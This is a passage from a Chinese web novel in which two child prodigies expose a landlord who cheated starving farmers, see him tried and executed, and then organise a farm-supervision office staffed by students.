“还好我们是来了,要是不来,还见不着这帮农户,饿成什么样了!你看看,这些人瘦成杆子似的,那孙念远竟还叫人盯着,不干活就挨鞭子!” “我看,这真是人皮里头生了颗畜生心!所做行径,实在是令人发指!” 郭嘉黑着一张脸,看着田边上坐着的一群农户,这会儿早就面黄肌瘦的,连带着眼里都没什么光彩了。 方才他得了消息,便立刻差使了马夫去找周盈,自己却是带了郭府的一帮人朝着这里赶了过来。一通混乱之下,原先孙念远指使的那一伙人,这会儿已经被郭嘉带来的人给摁住了。 不看不知道,一看吓一跳! 先前是远远瞧见,不曾细看,这会儿走近了,才发现这帮农户多可怜!那孙念远借的粮,可远没有账目上的多! 甚至是不足一半! “竟如此谎报数目?他这难不成还想吃官府回扣?!” 周盈心里是窝了一团火,手插着腰。有几个农户见着两人,似是认出了一般,手发抖着,撑在泥泞的土地上,想起身,却没了力气。 “周、周神童!郭神童!” “是两位小神童、小神童来了!” 闻言,周盈深吸一口气,见这些人跟刚从土里挖出来一般,灰头土脸,身上也没个好的地方,不免心里也有些于心不忍。 “来人,给这些人分点吃的,馒头、玉米窝窝、煮熟的番薯,都可以,盯紧着,先让他们吃饱了。” “是!” 坐在地上的一群农户闻言,顿时泪如雨下,更有甚者,转身趴在地上,颤颤巍巍的,就要开始朝着两人叩首。 郭嘉看着都心里不是滋味,欺负弱 者算个什么本事?这孙念远,实在是太恶毒,太可恨了! “起来起来!都先起来,把肚子吃饱了,等会儿我们还有话要问。” 三三两两的人分着吃的,那些农户刚拿到手,顿时狼吞虎咽的,嘴里塞满了还要往里继续塞,噎着了也只会拼命吞咽。 周盈皱着眉,实在是看着难受:“记得给他们喝点水。” 郭嘉走到旁边,看着几个五花大绑的人,脚上猛地一踹:“你们老爷,都说了什么?” 那人“哎哟”一声,疼得脸色一白,紧接着,色厉内荏的开口:“郭神童!咱们两家素来井水不犯河水!你来插手咱们孙府的事情,算是个什么道理!” 郭嘉气笑了:“什么道理?这问的好。” 他抱着胸,眯起眼睛:“国策的推行,是朝廷的政策,你们老爷阳奉阴违,这就是该死的道理!” “来人!” “给我把这人手筋挑了!我看他,还能不能,继续拿起鞭子抽人。” 那人闻言,顿时大惊失色:“你不能这样!我是孙老爷的人!” 郭嘉没再理会,反倒是走到另一个人面前,逆着光居高临下:“你有没有什么想说的呢?” 这人咽了咽口水,听着一旁哀嚎声尖锐! “啊——!” “啊!你不得好死!!!” 吓得他是猛地哆嗦,哎哟一声,脸上皱了起来,眼泪水飞溅:“郭神童!我都说!我都说!这事情也不是咱们这些小人能做的,都是被逼的啊!!” “是孙老爷,叫咱们盯着,别让人饿死了,也是孙老爷说,粮借一半,饿不死人就行了。” “咱们都是听吩咐办的差事,这、这样没办法啊!” 任他如何哀声载道,为了活命往外疯狂倒苦水,郭嘉都是冷着眼睛看着。 末了,只是淡淡颔首:“把这些人看紧了,等会儿要用。” 边上几个大汉点了点头,心里头,对这两个小少爷,可是打心里的佩服!从一开始抓人,到后头看到这些饿成瘦杆子农户。 几个人都是从劝农司里赶过来的,心里头也不是滋味啊。 另一边,沈管家得了命令,带着几个人停在不远处,见了这幅场景,顿时哎哟一声,完了完了!这下彻底完了! “走、走!回府,回府跟老爷说去!” 至于孙念远? 他现在吓得,威风都没了。 “老、老爷!不好了!外头衙门来人了!是张县令亲自带的队,约莫有四五十人,已经把府外围住了!”连滚带爬进来的仆人,脸色煞白,说话间,发着抖,磕磕绊绊。 一听到这话,孙念远眼珠子都瞪突了一些,手抓着扶手,猛起身:“老沈呢?人去哪里了!” “沈、沈掌柜……还没回来。” 完了! 孙念远这个念头升起,咽了咽口水,低着头深思间,只听外头:“砰——!” 紧接着,紧闭的大门,直接被锤开。 站在门口的张智林,头戴乌纱帽,身着七品官服,负手而立间,目光冷然扫视一圈,如一柄利剑般,直直刺向孙念远。 “衙门办案,叫你们开门!是想抗旨不成?!” 108.第 108 章 山阴县衙门内。 缉拿的孙念远,这会儿正跪在大堂中央,他脸色惨白,但好歹还是稳着心态,思忖着这事情又不是只有他一个人这么办! 几个人的事情,怎么能让他一个人定罪呢?再说了,账目上都写的清清楚楚,这要是查起来,一群人都逃不了好! 为了保全自己,这帮人肯定也会想着开脱。 想到这里,孙念远脸色也缓和了不少。 抬起头,看着正中央前方坐着的张智林。边上则是张耀芳,他穿着圆领常服。 “敢问大人,我孙某人,犯了什么错?国策推行,要咱们拿出田来,我也拿出来了,该借的粮,也都已经借了,这些都是咱们做的事情,有何错?” 张耀芳闻言,眯起眼来,撇过头,都不想看! 坐在上方的张智林嘴角一抽,手上惊堂木猛地一拍:“孙念远!尔等勾结胥吏,谎报荒田、边角田为‘良田’!占比数额达二百八十多亩!此观之触目惊心!你竟还敢,在公堂之上,如此狡辩?!” “这可谓是奸诈之民,恶毒至极!搅黄了国策,是拿你顶罪吗!” 他声音爆喝之间,把孙念远吓了一跳,但很快孙念远又道:“账目都已经清点过了!什么荒田、边角田的?我不知道!” “我是良民!年前诸位大人定下国策,召集了咱们这帮人来推行,要咱们往外掏人、掏钱、掏粮、掏地!我们也是一个字都没吭声!” “这怎么算得上,是奸诈之民?” “不信,大人可以去查查小的家中的那些账目,都是白纸黑字写的清清楚楚!” 张智林冷哼一声,这样的人,他见多了,地方最让人头疼的,也是这样的乡绅! 要不是郭神童查出了蹊跷,此事只怕是真要糊弄了过去!到时候国策出事,朝廷震怒,罚下来,他第一个完蛋! 其心可诛,简直可恶! “好!你竟还敢如此狺狺犬吠?!真是不知悔改,死到临头还不明白这事儿的重要性?” 孙念远梗着脖子,原先梳理的油亮的小胡子,这会儿也歪七扭八的,脸色一番变化间,刚想说什么呢。 外头看着的一群百姓,闻言也都是指指点点,啧啧称奇。 “哎哟,这孙念远,平日里张扬跋扈,今儿可算是栽跟头了!”这个是吃瓜群众。 “就是啊,我前些日还听闻,孙念远霸了隔壁王老头家的女儿,欸……多好的一个黄花闺女啊!”这个是脸带唏嘘的大婶。 “当真是可恨!国策推行的事情,是为了让农户都能吃饱饭,这孙念远岂有此理!竟阳奉阴违,置那些农户于不顾!”这个一听就是读书人。 高烨直接带着一帮人,从大门走了进来:“孙念远?你是真不知道,还是假不知道?” “这帐目蹊跷,你以为咱们都是傻子不成!?” 他说着话,走进屋里头,低头看了一眼跪在地上的孙念远,朝外头指了指,笑道:“孙念远,你起来。看看身后站着的是什么人?” 孙念远闻言,心里有了一个不太好的念头,身体慢慢站起来,往后转了转。 只见,以高志远为首的几个乡绅,这会儿面如死灰。背后的衙役,扛着好几箱的帐册! 竟是要在这高堂明镜之下,公然对账了! 孙念远脸色一白,心里大骂这帮人!真是一点都不靠谱! “老高?你!” 那高志远一听,顿时脸色肥肉哆嗦,眼带惶恐:“放肆!咱们很熟吗!” 孙念远肝胆欲裂,眼睛都突了,脚步一个踉跄,紧随着,是真明白了,他这是没人1可以靠了! 这帮人,看准了,他是在劫难逃了! 要急着撇清关系了! 孙念远瞪大眼睛:“你!你以为你讨得了好?你以为你们做的那些事情!能逃得过去!” “好好好!你们不仁别怪我不义!” 手一指,这会儿狗急跳墙,他直接朝着张智林开口:“张大人!草民可否,戴罪立功?!” 嗯? 这一出席,连张智林都愣了愣,看向一旁的张耀芳,对方微不可察的颔首。 张智林手拿起惊堂木,“啪!” “你说。” “大人!这孙念远的话听不得!他这是要污蔑我等!”这时候,高志远是急了,彻底急了! 几个人一听都不得了,连忙开口:“大人!国策的事情都可以谈!出了什么纰漏咱们都补上就是了!” “是啊!这事儿咱们也是被孙念远忽悠的!是实在不是诚心的呀!” 孙念远哈哈一笑:“蠢货!蠢货啊!” 他的声音都被几人盖过去了。 杨岳走进来的时候,气势汹汹,看了一圈闹得不可开交的一群人,皱着眉行了一礼:“张大人,我们几个的帐,都已经带来了。” “嗯,放那里吧。” 跟在杨岳身后的几个人,这会儿脸色也很难看,任谁差点在鬼门关走一趟,都会心情不好,这会儿没有爆喝出声,打孙念远一顿,那都算脾气好的。 走到一旁坐下,杨岳几个就看着这场闹剧。 那孙念远的嘴被捂住,高志远目眦欲裂,手掐着他的脖子,恨不能直接把人当场毙了! 其余几个跟着打了起来,嘴上嘀咕着这事儿跟他没有关系!都是你们逼的! 咣啷巨响。 真可谓是,一出狗咬狗的好戏! 外头围观的百姓看着,那是一万个解气! 也就在这会儿功夫,带着一群刚吃饱饭的农户,赶到门口的周盈和郭嘉两人,提着衣裙走了进来。 步履翩翩间,衣带当风。 跟在他们后头的十几个农户,都是自告奋勇跟来的,这会儿眼里头有了些光彩,一看到堂里被打的鼻青脸肿的孙念远,霎时间,眼里头就充了血,手攥的咯咯作响。 周盈瞥了一眼这群人,只是侧头向身后农户轻声道:“等会儿,他们问什么,你们就说什么。” 几个农户闻言,鼻子一酸。 小神童是好人! 要不是这两位小神童,他们都不知道该怎么办了,说不准……可能再过几天,就死在了天里头。 “肃静!”惊堂木“啪”拍下。 紧接着上前的衙役,把几个人都拉开了。 这一会儿的孙念远,鼻青脸肿,眼睛都青了一块,头发乱糟糟,穿在身上的丝绸衣衫也都被抓的破破烂烂。 高志远要好点儿,其余几个也都是衣衫不整,脸色慌张。 一幅丑态毕露的模样。 周盈冷眼看着,心里只掂量着,等会儿要怎么说才好点,他得帮农户多争取点,不然就现在这个样子,能不能撑到秋收都说不准。 “孙念远,你看看这些农户!面黄肌瘦,形若枯槁!你还有什么脸面说自己是为了国策?!自己拿出了粮食?你的粮呢?!田去哪里了?” 张智林暴怒,手指着这些农户,朝着孙念远劈头盖脸一顿骂。 那孙念远,死猪不怕开水烫,冷笑一声:“这不是我一个人做的事情,张大人,你可以查查,查一查高志远跟他那帮人!做的事情可比我恶心多了!” “孙、念、远!”高志远爆喝,刚想冲过来,就被猛地逮住。 “安静些!跪下!” 张智林深吸一口气,朝着那些农户开口:“本官问你们,孙念远借给你们的粮有多少?一五一十告知。” 农户们你看我、我看你,没人敢第一个开口。 站在人群最前面的老汉,五十来岁,脸上还带着皮肉绽开的鞭痕。他抖了抖,唇嗫喏了一下,但到底是没说什么。 孙念远冷哼一声,心道,还算识相! 就在这时,一道温和声音响起,众人目光看向周盈。 “别怕,大人问什么就说什么,这么多人看着,谁作恶多端,谁就逃不了!今天,专是为了给你们叫委屈、伸冤鸣不平的。” 周盈上前一步,挡在了孙念远的面前,低下头,眯起眼,嘴角一翘间,眼色冷若冰锥:“要是有谁,敢在这里,威逼利诱,那就是目无王法!” 郭嘉坐在边上,闻言挑眉,嗯!这话说的他喜欢! 孙念远瞪大眼睛,咬牙切齿,恨不得冲上前咬死周盈,都是因为他! “你!” 周盈没理会他,抬起头,但是没有挪动身子,就这么站着,挡住了孙念远的视线。 身后的几个农户见状,顿时眼眶一红,那五十多岁的老汉,泪眼汪汪,“扑通”一声跪下。 “青天大老爷!!周神童啊!给咱们伸冤来了!” 一时间,农户们都哭的不像话,到底是怎样的冤屈,叫这些最受得了苦的百姓,都喊冤成了这样! 张智林叹了口气,看了一眼站得笔直的周盈。又开口道:“说吧,有什么冤屈,堂上的几位大人,也都听着呢。” “哎!小、小老儿姓陈,是这农户里年纪最大的,我来说吧……欸。” “去年腊月,孙老爷的人来村里,说按国策,每家借十石粮食,让咱们开春种玉米番薯……” “我们一合计,这样也行,跟着朝廷走,吃口饱饭,家里都高兴,可谁知道……孙老爷收回了原先咱们的那些田,反倒是给咱们一些荒田、边角田!根本……就没借够咱们粮食!原先谈好的一户十石,给到手不足五石啊!” 109.第 109 章 一旁的一个年轻的农户忍不住,哭着跪下,只顾着磕头道:“草民王二狗,家里有个老母,就指望这点粮活命了,这五石怎么够吃!孙老爷盯着,不下地干活就要挨鞭子,” “有反抗的……全抓起来了,咱们都不知道那些人的死活!” 这话一出,屋内一片死寂,孙念远脸白如纸,身子发抖间,眼前一个翻白,竟是差点厥过去! “不、不要说了!” “继续说!”周盈大喝,掀起衣摆,猛朝着孙念远一踹。 “哎哟!”哀嚎一声的孙念远猛的栽倒,张了张嘴,神情狰狞,眼里带着十足的歹毒怨恨! “你…!” 他刚想起来,就见周盈低下头,用脚死死踩在胸口上,碾的他心口疼的一个哆嗦,手抓住脚脖子,却使不出力气! “闭嘴,听着!” 屋里几个人面面相觑,郭嘉挑眉,少见周盈有这么发火的时候,这帮人干的事,也实在是有够混账的。 被打断话的农户见状,这才慢慢的,继续一五一十,把事情都说了一遍。 这都不用周盈再说什么了,张智林心里也是窝起火了,他为官这么多年,见过的乡绅无数,还没有一个,有孙念远这么歹毒! 外头听着的百姓这会儿,也都是指指点点,脸上全是愤懑! “好大胆子!贪墨‘嘉种’,以劣田充好!借粮吃回扣,如今还闹出了人命!孙念远,你还有什么话可说?人证物证俱在,还有什么可辩驳!” 孙念远仰躺在地上,“嗬嗬”两声,疼得脸色煞白,看着几个人,只白着嘴唇,朝高志远看去。 对方这会儿低着头,什么都不敢说! “哈……哈哈…!” 张智林拍下惊堂木,冷哼:“既如此,恶民孙念远,鱼肉乡民,侵占农户田产,罔顾朝廷国策,私下鞭打无辜佃农,人命关天!其罪之重,罄竹难书!” “着!抄家,午时斩首!以儆效尤!” 斩首令猛朝着地上一甩,紧接着农户们瞪大眼睛,脸上带着复杂的欣喜之色。 外头的百姓顿时爆喝出彩! 唯有躺在地上,被周盈踩着的孙念远,如一条死狗一般,瞪大眼睛,面色如纸,连反抗的力气都没有了,他目光缓缓扫视高志远等人。 见他们抖若筛糠,哈哈一笑。 周盈抬起脚,紧接着就被拖了下去。 屋内一帮农户跪地磕头,高呼青天老爷在上。 周盈反倒是继续开口道:“张大人,这为祸之首已经拿下,但其余的害群之马,难道要这样轻拿轻放?” “外头的百姓可都看着呢。” 刚解决完孙念远,张智林这会儿心里松了一口气,一听他开口,便皱眉开口道:“周神童,此事你想如何?” 看了一眼高志远等人,周盈冷笑道:“抄家是不用了,毕竟……法不责众嘛,是也不是?” 高志远咽了咽口水,想了想站起身,鞠躬行礼道:“我等知错,回去,这就把该借的粮借了,该补上的良田补上。” “哼,轻了!”一直坐着没开口的杨岳突然大喝。 他几个淮阳盐商的兄弟,这会儿脸色都不好看。想这么轻松揭过?没那么便宜!这事情办不下去,出事他们也要担责! 高志远这么蠢,敢在紧要关头使绊子,就该担拿出自己全部田产的后果! “张大人,这帮人如此有恃无恐,就是念着国策推行还要他们出力,但孙念远是出力了,这些人不给点教训,能乖乖听话?” 张耀芳颔首:“是这个道理,既如此,我看呢…把田都拿出来,改种番薯玉米吧。” 一听这话,高志远猛地瞪大眼睛看向张智林,对方面无表情,神情冷淡。 高志远心里如策马奔腾一般。 欸! 偷鸡不成蚀把米! 周盈闻言又道:“孙念远抄家所得的田产,全部分给底下的农户,把借的粮补上,让他们快些改种番薯和玉米。” “还有。这事一出来,在下倒是觉得,没有劝农司监管,是不能成了的!现在这帮人,仗着自己在当地有些本事,阳奉阴违,勾结胥吏!” “在下恳请,让劝农司全权监督此事,农户们对这些事情最上心,再加有高公公、张大人在,多方监督,才稳当些。” 高志远脸色都白了:“这、这……不合适吧?” 杨岳冷哼:“有什么不合适!难不成你还想着弄点小动作?!” “我没有!” “没有?那就答应了!否则,咱们就当场查账,看看你其中到底有没有什么猫腻!” “……” 一群人面如土色,这会儿是屁都不敢放一个了。 张智林点了点头:“那行吧,事情就这么决定了!谁再敢阻挠国策,就是下一个孙念远!” 说完,惊堂木下。 一番公堂会审,圆满收场。 一群农户哭的是上气不接下气,朝着周盈就是疯狂磕头,周盈和郭嘉,那是扶都不起来,把两人弄的都是哭笑不得。 “老伯起来,快起来,咱们做这些事情,也不是纯帮着你们伸冤。看你们过的难,我们心里虽有难过,但更要紧的,还是国策的事情。” “也不要把我们想的太好了,国策要是办不成,到时候大家都没好果子吃。” 陈老伯闻言,抹了抹眼泪水,听了这话非但不难过,反而是更感激了。 “两位小神童是咱们的救命恩人,国策的事情,咱们都盯着,也都看着,您放心好了!” 壮年点的农户笑着开口:“是啊!小神童们,不但帮咱们伸冤,还帮咱们把田都要拉回来!等分到田了,我们马上就种玉米番薯!” 周盈颔首一笑:“有什么问题,就找劝农司的人,实在不行来找我也是可以的。” “好嘞!” 解决完这档子事,两人这才坐上了回府的马车。郭嘉直接开口道:“看不出,你这发起火……怪吓人的。” 闻言,周盈笑了笑:“是吗?我没感觉。” “你是不知道,刚刚整个公堂上的人,全都看着你,那 场面……可稀奇了。”郭嘉说着之前发生的事情,啧啧称奇。 周盈无奈:“还不是为了解决问题?如今,农户们能分到了田、粮,也就能把番薯玉米推下去了。” “高志远这帮人,胆子这么大,这会儿可谓是狠狠栽跟头了,让他们把其余的全部田产拿出来用以国策,这样一来,咱们的压力也就轻松些了。” 郭嘉颔首:“此事做的不错,虽忙活了一整天,但收获颇丰。短时间内,应当是没什么人敢阳奉阴违了。” “欸…先把劝农司弄起来吧,我看还是得要人盯着才行。” 两人谈话匆匆,马车徐徐停到了周府门外。 一场大案办下来,孙念远被斩首示众,流的血铺天盖地的,事情都在山阴县内传疯了。 连带着周盈和郭嘉的名声也跟着水涨船高,如今已从“神童”转变成“小青天”了。 此事两人知道的时候,都有些哭笑不得。 至于高志远一帮人,先有孙念远前车之鉴,再有张智林等人盯着,就是心里叫苦不迭,那也是一万个不敢再弄点小心思了。 不过,关于劝农司的建立,倒还是要细细规划就是。 一开始周盈和郭嘉两个人也没有太细想,因而此时的劝农司,多数还都是郭府的农户,但这件事情一出来,也就给了两个人由头,顺道就把这些参与进国策的农户,全都给登记上册。 一日,风和日丽。 严寒逐渐消退。 田头巡查的几个劝农司农户,看着原先归属孙念远的田,如今已被分给了名下六十多个农户。 手在账目和勘察册子上勾个圈。 查抄所得八百多亩,因而每个人能分得一百多一些,这一笔帐,着实是价值不菲了。 按照寻常,这抄没的田是归官府衙门处置,但现今是国策推行紧要关头,自然是该分分该清点清点,谁都不敢背地里搞鬼。 周盈在这儿走了一圈,边上跟着的是张岱一行人。 “小师弟,关于劝农司的事情,我爹说了,既然是为了推行国策方便,咱们就都听你的,至于高志远他们……” 杨业说到这,心里不免有些厌恶这帮人。 “他们也不敢公然反抗就是了。” “这个倒都是小问题,我比较担心的事情是,劝农司的农户们,到底都是目不识丁的,那些乡绅商贾,要是在账册上动手脚,亦或是勾结胥吏,这样一来,农户们怎么反抗的了?” 说到这,周盈转身看了三人一眼:“几位师兄,我倒是有个法子。” “嗯?” “这样……咱们私塾的那帮学生,左右,读圣贤书,读的也是昏昏欲睡,既将来是要为朝廷做事情,倒不妨,现在就开始培养些做事经验吧?” 周盈觉得自己这法子很好,私塾的那帮师兄们,总去田里头实践,虽说也不是不好吧,但种地的事情,还是得让专业对口的农户来办,但查账的事情,就要识字的人去做。 沈越听之,思忖之间,倒也觉得合适:“此事还需和夫子商量一番。” 110.第 110 章 开春后,学生们也就陆陆续续都回到了私塾上课。 当然,最痛苦的还得是交作业这件事情。 周盈和郭嘉出的那些题目,张岱和杨业看了都直呼妖孽! 对于潘岳私塾的一帮学生来说,更是噩梦级的难度了! 感受着一群师兄们的幽怨眼神,周盈这会儿也难免的有些尴尬和心虚。 “周师弟所出之题,可实在叫做师兄的大开眼界啊!” “是啊!这:论‘君子喻于义,小人喻于理利’之经义,可是叫师兄都想破了头了!” “周师弟这题:‘无恒产而有恒心者,惟士为能’,若民无恒产,当如何?” 眼看着一帮同窗把周盈给围了个住,杨业这会儿拿着自己的一沓作业,不免的也有点解气了。 好歹……受苦受难的,不是只有他和宗子两个人! “宗子,你的作业呢?”走到边上收作业的沈越敲了敲张岱的桌子,后者正翻着自己一沓一沓的功课。 “喏,在这!”张岱如今可谓是三好学生了! 从一开始不爱学,喜欢跟狐朋狗友玩,还翘课的纨绔子弟,转变到现在作业也认真写,狐朋狗友不交了,连课都不翘了! 这个转变真的非常大了。 走进来的陈夫子看了一眼屋里头的一帮学生,见沈越已经把作业收了上来,这才颔首点了点头。 “好,过了一年,也都长进了不少了。” 他低头随便翻阅了一下,发现都写的满满当当的,不错,真不错。 没有人交空白作业,起码态度是好的。 坐在底下的一群学生都眼巴巴看着陈夫子的动作,心里的那点心虚和小心思,都溢于言表了! 虽说……写都是写了,但有多少是认真写的,有多少是胡编乱造的,那就不得而知了。 陈夫子应是没有检查出不对劲。 松开手,捋了捋胡须,看着屋内的一群学生,笑呵呵道:“过完年了,心思也该收一收了,再过一个月是县试,你们有些连童考都还没过的,都要抓紧时间了。” 周盈和郭嘉,先前有皇上御赐功名,已是秀才在身,自然也不需要参加这次的县试童考了。 不过也就在刚刚,周盈在还没上课的时候,就为了劝农司一事,去找了一趟陈夫子。 也就是一些关于,让私塾学生们去劝农司实践,积累点做事经验的事情。 这事情周盈想得比较多,既然将来他和郭嘉大概率要入朝为官,山阴县总得有自己的势力守着。 同乡的这批师兄们,都是他们的人脉关系,将来入了官场就是官场上的派系,没有入官场,去各地发展,也是一股拧起来的力量。 劝农司的蒙学班这会儿才刚开了没多久,孩子们都还没培养起来,但国策的事情不能等。 那就只能先让师兄们顶上! 陈夫子对此表示惊讶。 他教书这么多年,教过的学生那么多,还真没有一个人的想法和思路,能有周盈这般跳脱。 但随即一想……说得对! 不但对,还很厉害! 到底是进过官场的老人了,一下子就想明白周盈的想法是什么。 陈夫子只能赞叹,这个学生,将来的成就,必然是要比他高的。 能让学生们积累点做事经验,这是好事情。先天就比别的刚入官场的人,起点高了那么一截,将来的成就,便也会更高。 这么想着,陈夫子看了一眼周盈的位置。 只见这两个人,低着头,不知道在说什么,周盈眯着眼睛笑,郭嘉狡黠的凑到他耳边,嘀嘀咕咕的。 陈夫子……忍了。 “安静。”一声响起,让底下的声音停了下来。 陈夫子叹了口气,开口道:“为师,最近总想起一句诗,叫做‘纸上得来终觉浅,绝知此事要躬行’!” 底下的学生眨了眨眼睛,一听这话就有点不太好的念头了。 “当年,你们小师弟们入学考的时候,就是拿的这句话反驳的为师,如今看来,此言当真不假!” “尔等也曾听闻,前些日子,那孙念远被抄家的事情了吧?” 有学生皱了皱眉:“夫子,这事情全省都知道了,但跟我们有什么关系?” “有!你们可知,这事情怎么查出来的?是谁查出来的?” “……呃,不知。” “哼!就是你们的两个小师弟!” 此话一出,屋内冷了一会儿,紧接着一帮师兄们顿时惊讶了,看向周盈二人之间的眼神,都带了几分不对劲! “妖孽!” “夫子……怎么能把我们跟这两个妖孽比?” “就是就是……” 陈夫子笑了笑,也没反驳,随即话头猛地一转:“还有,张岱、杨业、沈越三个人。” 被点名的三个人,那可谓是坐得理直气壮,昂首挺胸,尤其是张岱! “看什么?这事情咱们也有参与!你们呢?就知道在那说自己不行,自己比不了……我告诉你们,没做过的事情谁知道行不行?” 嘿……张岱这话说的,一帮同窗都开始目露凶光了。 “咳!好了,我提这话的意思呢,也是想着……教了你们这么久,却也没教你们怎么为人处事,这确实是我这个做夫子的问题。” 陈夫子叹了口气,随后嗓音一提:“今年,为师打算改改教学方法。” “……”为什么有种不好的预感。 “接下来,劝农司那边,为了推行国策,需要大量识字读书的人,督察记账,跟胥吏乡绅沟通,咱们潘岳私塾要全力配合。这些活,那些农户办不了,只能咱们办!” “也算是,提前锻炼锻炼,你们做事情的能力吧。” “啊?!夫子?这会不会搞错了?”有学生直接蹦起来了。 “对啊,我们是学生,不是账房先生啊。” “呵呵…前些天去田里干活,现在又要督察记账,我命真苦……” 底下一片哀嚎声响。 周盈和郭嘉两人对视一眼,偷偷把自己的两根狐狸尾巴给藏好咯,千万不要让师兄们察觉,是他们提出的鬼点子! 劝农司内。 比起年前的冷清,如今可谓是人来人往的 ,赵掌柜手上拿着算盘掰着算,一旁的胥吏则拿着笔记着东西。 “张二狗?” “到!” “嗯。你们家一户三口人,分粮十石,耕地多少?” “回差爷话,小的家中地四十二亩,改种番薯玉米,约莫二十亩左右。” 那张二狗开口说着话,不过多时,就看到胥吏勾勾画画,点头道:“去嘉种坊,领种子吧。” “欸,好好!” 张二狗手拿着公文,憨厚老实的脸上,这会儿也带着些许的喜色。 从门口出来,往左拐不远处,便是嘉种坊。是专用来给这些农户们领取种子的。 周盈等一行人站在门口,看着大院内,这会儿是站满了人,不免有些惊讶。 “今天哪来的这么多人?” “是这样的…前些日子,小师弟你们不是查办了孙念远的案子吗?” 张岱抱着胸,看着这批农户走掉,下批进去,便开口跟着解释:“因而,那些分得了良田的农户们,心里都惦记着你的恩情,也就帮着,宣传了一下关于国策的事情。” “一些人听了,觉得这事情有赚头,便想着过来打听打听,散户能不能跟着种。” 周盈一听闻,不免的有些发笑,欸……这可真是,无心插柳柳成荫了! “那这些人改种了玉米番薯后,口粮怎么办?能吃饱吗?” “放心,这事情,我爹知道了,一早就跟张县令,还有高公公打点好了的!只要是自愿跟着种植玉米番薯的,一律都按国策的补贴走。” 郭嘉点了点头,朝着几个人开口道:“这事儿办的好,咱们两个虽说,现在头衔越来越多了,不过出名也有出名的好,现在这些乡亲们,就认着我们了,这也是名气带来的效应了。” 杨业忍俊不禁:“是啊,咱们的小师弟们,这都成‘小青天’了!你知道这些农户们心里是怎么想的吗?” “嗯?”两人好奇。 “他们说,凡是加入劝农司的,都能把孩子送到蒙学班!跟着读书学习!还能保证接下来一年左右的口粮,只要听着‘小青天’的话,跟着‘小青天’走,那‘小青天’就能带他们过上好日子!” 这话一说出口,几个人都笑了起来。唯有周盈和郭嘉对视了一眼,都看出了这份名声之下的沉重责任。 周盈叹息:“何德何能呢,这些乡亲们是信任我们,这‘小青天’的头衔,真是如重千钧啊。” “可别,现在你们是活招牌,国策推行大半的出力都在你们,那些农户也都信任你们,这也是好事,我看等今年秋收,只怕收成还能再高不少!” 听到这里,周盈心里倒是舒服不少,做了那么多事情,最终还是为了推行国策,如今不少的散户也想加入,那就加入吧。 总归是…他再抗一抗,把今年扛过去,后面就宽松了。 “粮食够借吗?” “放心,这方面是管够的。我爹和官府衙门的人签了合同,把粮借给官府衙门,等来年再,衙门收回来了,再还。” 这话是沈越在说,他们家是当地的粮商之一,存的粮食也最多。 111.第 111 章 “不止是青山家里,我和宗子,还有其余的几个参与国策的,也都签了这份合同。”杨业补充了一句。 周盈听到这里,心才是真放了下来:“那就好,几位师兄也出了大力气,等国策落实到位了,咱们也得好好庆祝一番。” “这是自然的。” 几个人在劝农司转了一圈,连带着就转到了开设的蒙学班外头。 如今,光是晚上一个时辰的蒙学班授课,已经是满足不了这些孩子们的学习进度了。 因而郭嘉就想着,干脆白天让孩子们学,晚上再让农户们学,这样一来,夫子也能按着学习进度教学。 屋里头,一群小萝卜头,拿着书本,摇头晃脑的,跟着夫子读着书。 “学而时习之,不亦说乎…” 听着朗读声,周盈颔首一笑。 “这事情办得好,奉孝有心了。” 郭嘉两只手抱在胸前,闻言也是翘起尾巴了:“事情交给我,你就放一百个心吧!” “走吧,再去其他地方看看。” 转过务农司,几个人出了门。因着国策推行,务农司大门口,如今也派了官兵把守着,见农户们进进出出,来往之间,有的甚至还推着小推车。 原先的清冷,此时荡然无存了。 “其他师兄们呢?” “今天是实践的第一天,这会儿都在培训,夫子说了,往后若是需要用到人的地方,都可以去潘岳私塾说,他帮忙打点。” 周盈想了想,也就没再多说什么了。 回到周府,已经是深夜。 郭怡这些天忙着教学生,早早吃完了饭,已经回屋里备课了。 这事情,也是稀奇! 往日里,都是蹲着他们回家,如今自己有了一番事业,倒是连儿子的事情,都要先丢到脑后去了。 两个人对视一眼,都是无奈一笑。 “我娘能有点事情做,就不会来唠叨咱们了,这是好事情啊!” “说的是,我看郭娘还挺有教书的本事,将来说不准,山阴县还得出个女夫子了。” 看了一眼厨房里热着的饭,两个人把菜都端了出去。 饿的不行的郭嘉,给自己了满满一大碗饭。所谓半大小子吃穷老子! 八九岁,正是长身体的时候,那饭量可吓人了! 吃完饭,两个人就进了书房,算了会儿帐,看了会儿书,打着哈欠,受不了困顿,便各自回屋歇息了。 四月初。 倒春寒已过。 田头土地,已经松软。 先前突然的一场降温,把周盈也是吓了个心惊胆战,好在是没急着把苗种下去。 要不然这一场寒潮席卷,得冻死一大半! 一大早,田头的农户扛着锄头,手上挽起裤管,拿着一箩筐已经养出了苗的玉米和番薯,跳下了地。 站在边上的几个学生,手上拿着账本和督察册子,毛笔涂涂画画。 有人嘀咕了一声:“这事儿…怎么还得要咱们来弄?” “就是,这些账,我算的都要烦死了。” “欸…咱们是读圣贤书的人,怎么还得帮着这帮农户算账呢?” “可别这样说,现今国策要紧,权当是为朝廷办事了,再说了,我倒是觉得小师弟们这事做的好。” 几个学生看了过去,目光透露的情绪不言而喻:我们之中出了个叛徒! 那人合上账本,正色道:“你们看宗子那小子。这些天跟着小师弟们到处跑的,现在成绩,可甩咱们一大截了!” “……”几个人一想到张岱那得意的小表情,心里也挺不是滋味的。 以前张岱是学渣,还乐意跟他们玩,现在张岱成了学霸了!就只跟学霸小师弟们玩了! 哼,有了新人,忘了旧人。 “嗯?你们几个站在这做什么?”张岱稀奇一看,他手上卷起袖子,抬着一箩筐的玉米苗。 看那架势…要不是这片地方,是张家的田,几个人,都还认不出来张岱本人了! 为首的那个张大嘴巴:“宗子……你这?” “哦?这个吗?玉米苗啊。” 不是,谁要问你这个了! “哎呀,现在是种苗的时候,忙的很,我这闲着也是闲着,看大家忙不过来,就来帮个忙呗。” “衡之,你们反正算完账、审查完,也没什么事情,一起来搭把手吧!” 被叫衡之的那个年轻学生眨了眨眼睛,随后脸上有些不可置信:“我?” “嗯,来你帮我拿一下!”说着话,张岱直接把自己手上提着的一篓子苗往对方身上一甩。 赵瑜见状,下意识伸手一抓。 咦! 沉! 走在乡野之间,周盈看着一片一片的田,如今都种下了番薯玉米苗,不免的也笑了笑。 “小贵人!” 身后一道声音传来,周盈转身看过去。 就看到沈二柱等人,这会儿手里拿着箩筐,里头装了两个刚出炉的包子,一时间也是迟疑:“这……是做什么?” 沈二柱闻言也有些不好意思道:“想着最近手头宽裕了,去张屠夫家里买了点肉。” 